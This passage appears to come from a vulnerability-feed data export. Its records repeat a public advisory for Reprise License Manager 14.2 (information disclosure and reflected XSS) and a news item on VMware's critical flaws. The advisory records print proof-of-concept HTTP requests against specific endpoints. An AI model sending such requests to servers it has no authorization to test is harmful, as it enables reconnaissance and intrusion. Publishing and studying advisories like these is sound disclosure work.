Product:  RLM 14.2\n# Vendor:   Reprise Software\n# CVE ID:   CVE-2022-28365\n# Vulnerability Title: Unauthenticated Information Disclosure\n# Severity: Low\n# Author(s): Giulia Melotti Garibaldi\n# Date:     2022-03-29\n#\n#############################################################\nIntroduction:\nReprise License Manager 14.2 is affected by an Information Disclosure vulnerability via a GET request to /goforms/rlminfo. No authentication is required.\nThe information disclosed is associated with software versions, process IDs, network configuration, hostname(s), system architecture and file/directory information.\n\nVulnerability PoC:\n\nGET http://HOST:5054/goforms/rlminfo HTTP/1.1\nHost: HOST:5054\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\nConnection: keep-alive\nContent-Length: 0\n////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// Source:packetstormsecurity.com", "vulnerability": "CVE-2022-28364", "author": {"login": "automation"}}, {"uuid": "f9208bb1-0509-47df-bcd8-a187309ac89c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T02:00:03.846072+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/49269", "content": "Exploit Collector\nReprise License Manager 14.2 Cross Site Scripting / Information Disclosure\n\nhttps://4.bp.blogspot.com/-xhbT4GX8v9w/WWlvF89jtmI/AAAAAAAAILM/fSSkvnm11QwzZu21RJEqwX2S4icQcxCngCLcBGAs/s1600/h136.png Reprise License Manager version 14.2 suffers from cross site scripting and information disclosure vulnerabilities.\n\nMD5 | cc55ae7d1b402036a9e2e82e2e0c4ea4Download Multiple Vulnerabilities in Reprise License Manager 14.2\n\nCredit: Giulia Melotti Garibaldi\n\n//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////\n\n# Product:  RLM 14.2\n# Vendor:   Reprise Software\n# CVE ID:   CVE-2022-28363\n# Vulnerability Title: Reflected Cross-Site Scripting\n# Severity: Medium\n# Author(s): Giulia Melotti Garibaldi\n# Date:     2022-03-29\n#\n#############################################################\nIntroduction:\nReprise License Manager 14.2 is affected by a reflected cross-site scripting vulnerability (XSS) in the /goform/login_process \"username\" parameter via GET. No authentication is required.\n\nVulnerability PoC:\n\nGET http://HOST:5054/goform/login_process?username=admin&password=admin&ok=LOGIN HTTP/1.1\nHost: HOST:5054\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\nAccept-Language: en-US,en;q=0.5\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 38\nOrigin: http://HOST:5054\nConnection: keep-alive\nReferer: http://HOST:5054/goform/login_process\n/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////\n\n# Product:  RLM 14.2\n# Vendor:   Reprise Software\n# CVE ID:   CVE-2022-28364\n# Vulnerability Title: Authenticated Reflected Cross-Site Scripting\n# Severity: Low\n# Author(s): Giulia Melotti Garibaldi\n# Date:     2022-03-29\n#\n#############################################################\nIntroduction:\nReprise License Manager 14.2 is affected by a reflected cross-site scripting vulnerability (XSS) in the /goform/rlmswitchr_process \"file\" parameter via GET. Authentication is required.\n\nVulnerability PoC:\n\nGET http://HOST:5054/goform/rlmswitchr_process?file= HTTP/1.1\nHost: HOST:5054\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\nAccept-Language: en-US,en;q=0.5\nContent-Type: application/x-www-form-urlencoded\nOrigin: http://HOST:5054\nConnection: keep-alive\nReferer: http://HOST:5054/goforms/rlmswitchr\nCookie: REDACTED\n/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////\n# Product:  RLM 14.2\n# Vendor:   Reprise Software\n# CVE ID:   CVE-2022-28365\n# Vulnerability Title: Unauthenticated Information Disclosure\n# Severity: Low\n# Author(s): Giulia Melotti Garibaldi\n# Date:     2022-03-29\n#\n#############################################################\nIntroduction:\nReprise License Manager 14.2 is affected by an Information Disclosure vulnerability via a GET request to /goforms/rlminfo. No authentication is required.\nThe information disclosed is associated with software versions, process IDs, network configuration, hostname(s), system architecture and file/directory information.\n\nVulnerability PoC:\n\nGET http://HOST:5054/goforms/rlminfo HTTP/1.1\nHost: HOST:5054\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\nConnection: keep-alive\nContent-Length: 0\n////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// Source:packetstormsecurity.com", "vulnerability": "CVE-2022-28363", "author": {"login": "automation"}}, {"uuid": "52802a2a-b004-49a0-8610-a7ec230d6f77", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T02:00:03.814318+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/49269", "content": "Exploit Collector\nReprise License Manager 14.2 Cross Site Scripting / Information Disclosure\n\nhttps://4.bp.blogspot.com/-xhbT4GX8v9w/WWlvF89jtmI/AAAAAAAAILM/fSSkvnm11QwzZu21RJEqwX2S4icQcxCngCLcBGAs/s1600/h136.png Reprise License Manager version 14.2 suffers from cross site scripting and information disclosure vulnerabilities.\n\nMD5 | cc55ae7d1b402036a9e2e82e2e0c4ea4Download Multiple Vulnerabilities in Reprise License Manager 14.2\n\nCredit: Giulia Melotti Garibaldi\n\n//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////\n\n# Product:  RLM 14.2\n# Vendor:   Reprise Software\n# CVE ID:   CVE-2022-28363\n# Vulnerability Title: Reflected Cross-Site Scripting\n# Severity: Medium\n# Author(s): Giulia Melotti Garibaldi\n# Date:     2022-03-29\n#\n#############################################################\nIntroduction:\nReprise License Manager 14.2 is affected by a reflected cross-site scripting vulnerability (XSS) in the /goform/login_process \"username\" parameter via GET. No authentication is required.\n\nVulnerability PoC:\n\nGET http://HOST:5054/goform/login_process?username=admin&password=admin&ok=LOGIN HTTP/1.1\nHost: HOST:5054\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\nAccept-Language: en-US,en;q=0.5\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 38\nOrigin: http://HOST:5054\nConnection: keep-alive\nReferer: http://HOST:5054/goform/login_process\n/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////\n\n# Product:  RLM 14.2\n# Vendor:   Reprise Software\n# CVE ID:   CVE-2022-28364\n# Vulnerability Title: Authenticated Reflected Cross-Site Scripting\n# Severity: Low\n# Author(s): Giulia Melotti Garibaldi\n# Date:     2022-03-29\n#\n#############################################################\nIntroduction:\nReprise License Manager 14.2 is affected by a reflected cross-site scripting vulnerability (XSS) in the /goform/rlmswitchr_process \"file\" parameter via GET. Authentication is required.\n\nVulnerability PoC:\n\nGET http://HOST:5054/goform/rlmswitchr_process?file= HTTP/1.1\nHost: HOST:5054\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\nAccept-Language: en-US,en;q=0.5\nContent-Type: application/x-www-form-urlencoded\nOrigin: http://HOST:5054\nConnection: keep-alive\nReferer: http://HOST:5054/goforms/rlmswitchr\nCookie: REDACTED\n/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////\n# Product:  RLM 14.2\n# Vendor:   Reprise Software\n# CVE ID:   CVE-2022-28365\n# Vulnerability Title: Unauthenticated Information Disclosure\n# Severity: Low\n# Author(s): Giulia Melotti Garibaldi\n# Date:     2022-03-29\n#\n#############################################################\nIntroduction:\nReprise License Manager 14.2 is affected by an Information Disclosure vulnerability via a GET request to /goforms/rlminfo. No authentication is required.\nThe information disclosed is associated with software versions, process IDs, network configuration, hostname(s), system architecture and file/directory information.\n\nVulnerability PoC:\n\nGET http://HOST:5054/goforms/rlminfo HTTP/1.1\nHost: HOST:5054\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\nConnection: keep-alive\nContent-Length: 0\n////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// Source:packetstormsecurity.com", "vulnerability": "CVE-2022-28365", "author": {"login": "automation"}}, {"uuid": "9dcfa80b-d59b-4068-b543-7a558c0b54f1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T02:00:03.773983+00:00", "type": "seen", "source": "https://t.me/hacking_Attack/49022", "content": "Black Hat Ethical Hacking\nVMware warns of critical vulnerabilities in multiple products\n\nVMware warns of critical vulnerabilities in multiple productsPost Views: 27 \nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/04/patreon-300x61.png Advanced Enumeration techniques with NMAP, Zenmap and Hydra\n\nSubscribe to Patreon to watch this episode.\nReading Time: 2 Minutes\nVMware has warned customers to immediately patch critical vulnerabilities in multiple products that threat actors could use to launch remote code execution attacks.\n\u201cThis critical vulnerability should be patched or mitigated immediately per the instructions in VMSA-2021-0011. The ramifications of this vulnerability are serious,\u201d VMware warned\u00a0on Wednesday.\n\n\u201cAll environments are different, have different tolerance for risk, and have different security controls and defense-in-depth to mitigate risk, so customers must make their own decisions on how to proceed. However, given the severity of the vulnerability, we strongly recommend immediate action.\u201d Patches for five critical vulnerabilitiesThe list of critical security flaws patched today includes a server-side template injection remote code execution vulnerability (CVE-2022-22954), two OAuth2 ACS authentication bypass vulnerabilities (CVE-2022-22955, CVE-2022-22956), and two JDBC injection remote code execution vulnerabilities (CVE-2022-22957, CVE-2022-22958).\n\nVMware also patched high and medium severity bugs that could be exploited for Cross-Site Request Forgery (CSRF) attacks (CVE-2022-22959), escalate privileges (CVE-2022-22960), and gain access to information without authorization (CVE-2022-22961).\nSee Also: Complete Offensive Security and Ethical Hacking Course\nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/Solutions-1.png \nThe complete list of VMware products impacted by these security vulnerabilities includes:\n\n* VMware Workspace ONE Access (Access)\n* VMware Identity Manager (vIDM)\n* VMware vRealize Automation (vRA)\n* VMware Cloud Foundation\n* vRealize Suite Lifecycle Manager\n\nThe company added that it found no evidence of these bugs being exploited in the wild before today\u2019s security advisory\u00a0was published. VMware\u2019s knowledgebase website\u00a0also has a complete list of fixed versions and download links to hotfix installers.\nSee Also: Kali Linux 2022.1 Release with Visual Updates, New Tools, Legacy SSH Workaround also availableVMware also provides workarounds for those who cannot immediately patch their appliances as a temporary solution. The steps detailed here\u00a0require admins to run a VMware-provided Python-based script on affected virtual appliances.\n\nHowever, the company says that the only way to remove the vulnerabilities entirely is to apply the patches.\n\n\u201cWorkarounds, while convenient, do not remove the vulnerabilities, and may introduce additional complexities that patching would not,\u201d VMware added.\n\n\u201cWhile the decision to patch or use the workaround is yours, VMware always strongly recommends patching as the simplest and most reliable way to resolve this issue.\u201d\n\nA document with additional questions and answers regarding the critical vulnerabilities patched today is available here.\n\nOn Monday, VMware also released security updates to address the critical Spring4Shell RCE flaw in VMware Tanzu Application Service for VMs, VMware Tanzu Operations Manager, and VMware Tanzu Kubernetes Grid Integrated Edition (TKGI). See Also: Offensive Security Tool: Scapy Are u a security researcher? Or a company that writes articles or write ups about Cyber Security, Offensive Security (related to information security in general) that match with our specific audience and is worth sharing?\n\nIf you want to express your idea in an article contact[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2022-22959", "author": {"login": "automation"}}, {"uuid": "5fa144e1-6648-4133-85e6-0294f2177e8a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T02:00:03.741159+00:00", "type": "seen", "source": "https://t.me/hacking_Attack/49022", "content": "Black Hat Ethical Hacking\nVMware warns of critical vulnerabilities in multiple products\n\nVMware warns of critical vulnerabilities in multiple productsPost Views: 27 \nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/04/patreon-300x61.png Advanced Enumeration techniques with NMAP, Zenmap and Hydra\n\nSubscribe to Patreon to watch this episode.\nReading Time: 2 Minutes\nVMware has warned customers to immediately patch critical vulnerabilities in multiple products that threat actors could use to launch remote code execution attacks.\n\u201cThis critical vulnerability should be patched or mitigated immediately per the instructions in VMSA-2021-0011. The ramifications of this vulnerability are serious,\u201d VMware warned\u00a0on Wednesday.\n\n\u201cAll environments are different, have different tolerance for risk, and have different security controls and defense-in-depth to mitigate risk, so customers must make their own decisions on how to proceed. However, given the severity of the vulnerability, we strongly recommend immediate action.\u201d Patches for five critical vulnerabilitiesThe list of critical security flaws patched today includes a server-side template injection remote code execution vulnerability (CVE-2022-22954), two OAuth2 ACS authentication bypass vulnerabilities (CVE-2022-22955, CVE-2022-22956), and two JDBC injection remote code execution vulnerabilities (CVE-2022-22957, CVE-2022-22958).\n\nVMware also patched high and medium severity bugs that could be exploited for Cross-Site Request Forgery (CSRF) attacks (CVE-2022-22959), escalate privileges (CVE-2022-22960), and gain access to information without authorization (CVE-2022-22961).\nSee Also: Complete Offensive Security and Ethical Hacking Course\nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/Solutions-1.png \nThe complete list of VMware products impacted by these security vulnerabilities includes:\n\n* VMware Workspace ONE Access (Access)\n* VMware Identity Manager (vIDM)\n* VMware vRealize Automation (vRA)\n* VMware Cloud Foundation\n* vRealize Suite Lifecycle Manager\n\nThe company added that it found no evidence of these bugs being exploited in the wild before today\u2019s security advisory\u00a0was published. VMware\u2019s knowledgebase website\u00a0also has a complete list of fixed versions and download links to hotfix installers.\nSee Also: Kali Linux 2022.1 Release with Visual Updates, New Tools, Legacy SSH Workaround also availableVMware also provides workarounds for those who cannot immediately patch their appliances as a temporary solution. The steps detailed here\u00a0require admins to run a VMware-provided Python-based script on affected virtual appliances.\n\nHowever, the company says that the only way to remove the vulnerabilities entirely is to apply the patches.\n\n\u201cWorkarounds, while convenient, do not remove the vulnerabilities, and may introduce additional complexities that patching would not,\u201d VMware added.\n\n\u201cWhile the decision to patch or use the workaround is yours, VMware always strongly recommends patching as the simplest and most reliable way to resolve this issue.\u201d\n\nA document with additional questions and answers regarding the critical vulnerabilities patched today is available here.\n\nOn Monday, VMware also released security updates to address the critical Spring4Shell RCE flaw in VMware Tanzu Application Service for VMs, VMware Tanzu Operations Manager, and VMware Tanzu Kubernetes Grid Integrated Edition (TKGI). See Also: Offensive Security Tool: Scapy Are u a security researcher? Or a company that writes articles or write ups about Cyber Security, Offensive Security (related to information security in general) that match with our specific audience and is worth sharing?\n\nIf you want to express your idea in an article contact[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2022-22955", "author": {"login": "automation"}}, {"uuid": "35fee700-937a-4bea-b85b-c91c4af6540e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T02:00:03.708048+00:00", "type": "seen", "source": "https://t.me/hacking_Attack/49022", "content": "Black Hat Ethical Hacking\nVMware warns of critical vulnerabilities in multiple products\n\nVMware warns of critical vulnerabilities in multiple productsPost Views: 27 \nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/04/patreon-300x61.png Advanced Enumeration techniques with NMAP, Zenmap and Hydra\n\nSubscribe to Patreon to watch this episode.\nReading Time: 2 Minutes\nVMware has warned customers to immediately patch critical vulnerabilities in multiple products that threat actors could use to launch remote code execution attacks.\n\u201cThis critical vulnerability should be patched or mitigated immediately per the instructions in VMSA-2021-0011. The ramifications of this vulnerability are serious,\u201d VMware warned\u00a0on Wednesday.\n\n\u201cAll environments are different, have different tolerance for risk, and have different security controls and defense-in-depth to mitigate risk, so customers must make their own decisions on how to proceed. However, given the severity of the vulnerability, we strongly recommend immediate action.\u201d Patches for five critical vulnerabilitiesThe list of critical security flaws patched today includes a server-side template injection remote code execution vulnerability (CVE-2022-22954), two OAuth2 ACS authentication bypass vulnerabilities (CVE-2022-22955, CVE-2022-22956), and two JDBC injection remote code execution vulnerabilities (CVE-2022-22957, CVE-2022-22958).\n\nVMware also patched high and medium severity bugs that could be exploited for Cross-Site Request Forgery (CSRF) attacks (CVE-2022-22959), escalate privileges (CVE-2022-22960), and gain access to information without authorization (CVE-2022-22961).\nSee Also: Complete Offensive Security and Ethical Hacking Course\nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/Solutions-1.png \nThe complete list of VMware products impacted by these security vulnerabilities includes:\n\n* VMware Workspace ONE Access (Access)\n* VMware Identity Manager (vIDM)\n* VMware vRealize Automation (vRA)\n* VMware Cloud Foundation\n* vRealize Suite Lifecycle Manager\n\nThe company added that it found no evidence of these bugs being exploited in the wild before today\u2019s security advisory\u00a0was published. VMware\u2019s knowledgebase website\u00a0also has a complete list of fixed versions and download links to hotfix installers.\nSee Also: Kali Linux 2022.1 Release with Visual Updates, New Tools, Legacy SSH Workaround also availableVMware also provides workarounds for those who cannot immediately patch their appliances as a temporary solution. The steps detailed here\u00a0require admins to run a VMware-provided Python-based script on affected virtual appliances.\n\nHowever, the company says that the only way to remove the vulnerabilities entirely is to apply the patches.\n\n\u201cWorkarounds, while convenient, do not remove the vulnerabilities, and may introduce additional complexities that patching would not,\u201d VMware added.\n\n\u201cWhile the decision to patch or use the workaround is yours, VMware always strongly recommends patching as the simplest and most reliable way to resolve this issue.\u201d\n\nA document with additional questions and answers regarding the critical vulnerabilities patched today is available here.\n\nOn Monday, VMware also released security updates to address the critical Spring4Shell RCE flaw in VMware Tanzu Application Service for VMs, VMware Tanzu Operations Manager, and VMware Tanzu Kubernetes Grid Integrated Edition (TKGI). See Also: Offensive Security Tool: Scapy Are u a security researcher? Or a company that writes articles or write ups about Cyber Security, Offensive Security (related to information security in general) that match with our specific audience and is worth sharing?\n\nIf you want to express your idea in an article contact[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2022-22954", "author": {"login": "automation"}}, {"uuid": "9300eb8a-5de2-4b2e-8e42-1d2dca4c9571", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T02:00:03.679270+00:00", "type": "seen", "source": "https://t.me/hacking_Attack/49022", "content": "Black Hat Ethical Hacking\nVMware warns of critical vulnerabilities in multiple products\n\nVMware warns of critical vulnerabilities in multiple productsPost Views: 27 \nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/04/patreon-300x61.png Advanced Enumeration techniques with NMAP, Zenmap and Hydra\n\nSubscribe to Patreon to watch this episode.\nReading Time: 2 Minutes\nVMware has warned customers to immediately patch critical vulnerabilities in multiple products that threat actors could use to launch remote code execution attacks.\n\u201cThis critical vulnerability should be patched or mitigated immediately per the instructions in VMSA-2021-0011. The ramifications of this vulnerability are serious,\u201d VMware warned\u00a0on Wednesday.\n\n\u201cAll environments are different, have different tolerance for risk, and have different security controls and defense-in-depth to mitigate risk, so customers must make their own decisions on how to proceed. However, given the severity of the vulnerability, we strongly recommend immediate action.\u201d Patches for five critical vulnerabilitiesThe list of critical security flaws patched today includes a server-side template injection remote code execution vulnerability (CVE-2022-22954), two OAuth2 ACS authentication bypass vulnerabilities (CVE-2022-22955, CVE-2022-22956), and two JDBC injection remote code execution vulnerabilities (CVE-2022-22957, CVE-2022-22958).\n\nVMware also patched high and medium severity bugs that could be exploited for Cross-Site Request Forgery (CSRF) attacks (CVE-2022-22959), escalate privileges (CVE-2022-22960), and gain access to information without authorization (CVE-2022-22961).\nSee Also: Complete Offensive Security and Ethical Hacking Course\nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/Solutions-1.png \nThe complete list of VMware products impacted by these security vulnerabilities includes:\n\n* VMware Workspace ONE Access (Access)\n* VMware Identity Manager (vIDM)\n* VMware vRealize Automation (vRA)\n* VMware Cloud Foundation\n* vRealize Suite Lifecycle Manager\n\nThe company added that it found no evidence of these bugs being exploited in the wild before today\u2019s security advisory\u00a0was published. VMware\u2019s knowledgebase website\u00a0also has a complete list of fixed versions and download links to hotfix installers.\nSee Also: Kali Linux 2022.1 Release with Visual Updates, New Tools, Legacy SSH Workaround also availableVMware also provides workarounds for those who cannot immediately patch their appliances as a temporary solution. The steps detailed here\u00a0require admins to run a VMware-provided Python-based script on affected virtual appliances.\n\nHowever, the company says that the only way to remove the vulnerabilities entirely is to apply the patches.\n\n\u201cWorkarounds, while convenient, do not remove the vulnerabilities, and may introduce additional complexities that patching would not,\u201d VMware added.\n\n\u201cWhile the decision to patch or use the workaround is yours, VMware always strongly recommends patching as the simplest and most reliable way to resolve this issue.\u201d\n\nA document with additional questions and answers regarding the critical vulnerabilities patched today is available here.\n\nOn Monday, VMware also released security updates to address the critical Spring4Shell RCE flaw in VMware Tanzu Application Service for VMs, VMware Tanzu Operations Manager, and VMware Tanzu Kubernetes Grid Integrated Edition (TKGI). See Also: Offensive Security Tool: Scapy Are u a security researcher? Or a company that writes articles or write ups about Cyber Security, Offensive Security (related to information security in general) that match with our specific audience and is worth sharing?\n\nIf you want to express your idea in an article contact[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2022-22957", "author": {"login": "automation"}}, {"uuid": "129f7531-500c-4b06-8d22-a3fd158b2f00", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T02:00:03.648381+00:00", "type": "seen", "source": "https://t.me/hacking_Attack/49022", "content": "Black Hat Ethical Hacking\nVMware warns of critical vulnerabilities in multiple products\n\nVMware warns of critical vulnerabilities in multiple productsPost Views: 27 \nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/04/patreon-300x61.png Advanced Enumeration techniques with NMAP, Zenmap and Hydra\n\nSubscribe to Patreon to watch this episode.\nReading Time: 2 Minutes\nVMware has warned customers to immediately patch critical vulnerabilities in multiple products that threat actors could use to launch remote code execution attacks.\n\u201cThis critical vulnerability should be patched or mitigated immediately per the instructions in VMSA-2021-0011. The ramifications of this vulnerability are serious,\u201d VMware warned\u00a0on Wednesday.\n\n\u201cAll environments are different, have different tolerance for risk, and have different security controls and defense-in-depth to mitigate risk, so customers must make their own decisions on how to proceed. However, given the severity of the vulnerability, we strongly recommend immediate action.\u201d Patches for five critical vulnerabilitiesThe list of critical security flaws patched today includes a server-side template injection remote code execution vulnerability (CVE-2022-22954), two OAuth2 ACS authentication bypass vulnerabilities (CVE-2022-22955, CVE-2022-22956), and two JDBC injection remote code execution vulnerabilities (CVE-2022-22957, CVE-2022-22958).\n\nVMware also patched high and medium severity bugs that could be exploited for Cross-Site Request Forgery (CSRF) attacks (CVE-2022-22959), escalate privileges (CVE-2022-22960), and gain access to information without authorization (CVE-2022-22961).\nSee Also: Complete Offensive Security and Ethical Hacking Course\nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/Solutions-1.png \nThe complete list of VMware products impacted by these security vulnerabilities includes:\n\n* VMware Workspace ONE Access (Access)\n* VMware Identity Manager (vIDM)\n* VMware vRealize Automation (vRA)\n* VMware Cloud Foundation\n* vRealize Suite Lifecycle Manager\n\nThe company added that it found no evidence of these bugs being exploited in the wild before today\u2019s security advisory\u00a0was published. VMware\u2019s knowledgebase website\u00a0also has a complete list of fixed versions and download links to hotfix installers.\nSee Also: Kali Linux 2022.1 Release with Visual Updates, New Tools, Legacy SSH Workaround also availableVMware also provides workarounds for those who cannot immediately patch their appliances as a temporary solution. The steps detailed here\u00a0require admins to run a VMware-provided Python-based script on affected virtual appliances.\n\nHowever, the company says that the only way to remove the vulnerabilities entirely is to apply the patches.\n\n\u201cWorkarounds, while convenient, do not remove the vulnerabilities, and may introduce additional complexities that patching would not,\u201d VMware added.\n\n\u201cWhile the decision to patch or use the workaround is yours, VMware always strongly recommends patching as the simplest and most reliable way to resolve this issue.\u201d\n\nA document with additional questions and answers regarding the critical vulnerabilities patched today is available here.\n\nOn Monday, VMware also released security updates to address the critical Spring4Shell RCE flaw in VMware Tanzu Application Service for VMs, VMware Tanzu Operations Manager, and VMware Tanzu Kubernetes Grid Integrated Edition (TKGI). See Also: Offensive Security Tool: Scapy Are u a security researcher? Or a company that writes articles or write ups about Cyber Security, Offensive Security (related to information security in general) that match with our specific audience and is worth sharing?\n\nIf you want to express your idea in an article contact[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2022-22956", "author": {"login": "automation"}}, {"uuid": "5344d8fb-891c-430f-8e92-60c78f2b88cd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T02:00:03.614291+00:00", "type": "seen", "source": "https://t.me/hacking_Attack/49022", "content": "Black Hat Ethical Hacking\nVMware warns of critical vulnerabilities in multiple products\n\nVMware warns of critical vulnerabilities in multiple productsPost Views: 27 \nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/04/patreon-300x61.png Advanced Enumeration techniques with NMAP, Zenmap and Hydra\n\nSubscribe to Patreon to watch this episode.\nReading Time: 2 Minutes\nVMware has warned customers to immediately patch critical vulnerabilities in multiple products that threat actors could use to launch remote code execution attacks.\n\u201cThis critical vulnerability should be patched or mitigated immediately per the instructions in VMSA-2021-0011. The ramifications of this vulnerability are serious,\u201d VMware warned\u00a0on Wednesday.\n\n\u201cAll environments are different, have different tolerance for risk, and have different security controls and defense-in-depth to mitigate risk, so customers must make their own decisions on how to proceed. However, given the severity of the vulnerability, we strongly recommend immediate action.\u201d Patches for five critical vulnerabilitiesThe list of critical security flaws patched today includes a server-side template injection remote code execution vulnerability (CVE-2022-22954), two OAuth2 ACS authentication bypass vulnerabilities (CVE-2022-22955, CVE-2022-22956), and two JDBC injection remote code execution vulnerabilities (CVE-2022-22957, CVE-2022-22958).\n\nVMware also patched high and medium severity bugs that could be exploited for Cross-Site Request Forgery (CSRF) attacks (CVE-2022-22959), escalate privileges (CVE-2022-22960), and gain access to information without authorization (CVE-2022-22961).\nSee Also: Complete Offensive Security and Ethical Hacking Course\nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/Solutions-1.png \nThe complete list of VMware products impacted by these security vulnerabilities includes:\n\n* VMware Workspace ONE Access (Access)\n* VMware Identity Manager (vIDM)\n* VMware vRealize Automation (vRA)\n* VMware Cloud Foundation\n* vRealize Suite Lifecycle Manager\n\nThe company added that it found no evidence of these bugs being exploited in the wild before today\u2019s security advisory\u00a0was published. VMware\u2019s knowledgebase website\u00a0also has a complete list of fixed versions and download links to hotfix installers.\nSee Also: Kali Linux 2022.1 Release with Visual Updates, New Tools, Legacy SSH Workaround also availableVMware also provides workarounds for those who cannot immediately patch their appliances as a temporary solution. The steps detailed here\u00a0require admins to run a VMware-provided Python-based script on affected virtual appliances.\n\nHowever, the company says that the only way to remove the vulnerabilities entirely is to apply the patches.\n\n\u201cWorkarounds, while convenient, do not remove the vulnerabilities, and may introduce additional complexities that patching would not,\u201d VMware added.\n\n\u201cWhile the decision to patch or use the workaround is yours, VMware always strongly recommends patching as the simplest and most reliable way to resolve this issue.\u201d\n\nA document with additional questions and answers regarding the critical vulnerabilities patched today is available here.\n\nOn Monday, VMware also released security updates to address the critical Spring4Shell RCE flaw in VMware Tanzu Application Service for VMs, VMware Tanzu Operations Manager, and VMware Tanzu Kubernetes Grid Integrated Edition (TKGI). See Also: Offensive Security Tool: Scapy Are u a security researcher? Or a company that writes articles or write ups about Cyber Security, Offensive Security (related to information security in general) that match with our specific audience and is worth sharing?\n\nIf you want to express your idea in an article contact[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2022-22960", "author": {"login": "automation"}}, {"uuid": "f7d316cb-2bad-476f-929e-884ecb4d27ba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T02:00:03.580710+00:00", "type": "seen", "source": "https://t.me/hacking_Attack/49022", "content": "Black Hat Ethical Hacking\nVMware warns of critical vulnerabilities in multiple products\n\nVMware warns of critical vulnerabilities in multiple productsPost Views: 27 \nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/04/patreon-300x61.png Advanced Enumeration techniques with NMAP, Zenmap and Hydra\n\nSubscribe to Patreon to watch this episode.\nReading Time: 2 Minutes\nVMware has warned customers to immediately patch critical vulnerabilities in multiple products that threat actors could use to launch remote code execution attacks.\n\u201cThis critical vulnerability should be patched or mitigated immediately per the instructions in VMSA-2021-0011. The ramifications of this vulnerability are serious,\u201d VMware warned\u00a0on Wednesday.\n\n\u201cAll environments are different, have different tolerance for risk, and have different security controls and defense-in-depth to mitigate risk, so customers must make their own decisions on how to proceed. However, given the severity of the vulnerability, we strongly recommend immediate action.\u201d Patches for five critical vulnerabilitiesThe list of critical security flaws patched today includes a server-side template injection remote code execution vulnerability (CVE-2022-22954), two OAuth2 ACS authentication bypass vulnerabilities (CVE-2022-22955, CVE-2022-22956), and two JDBC injection remote code execution vulnerabilities (CVE-2022-22957, 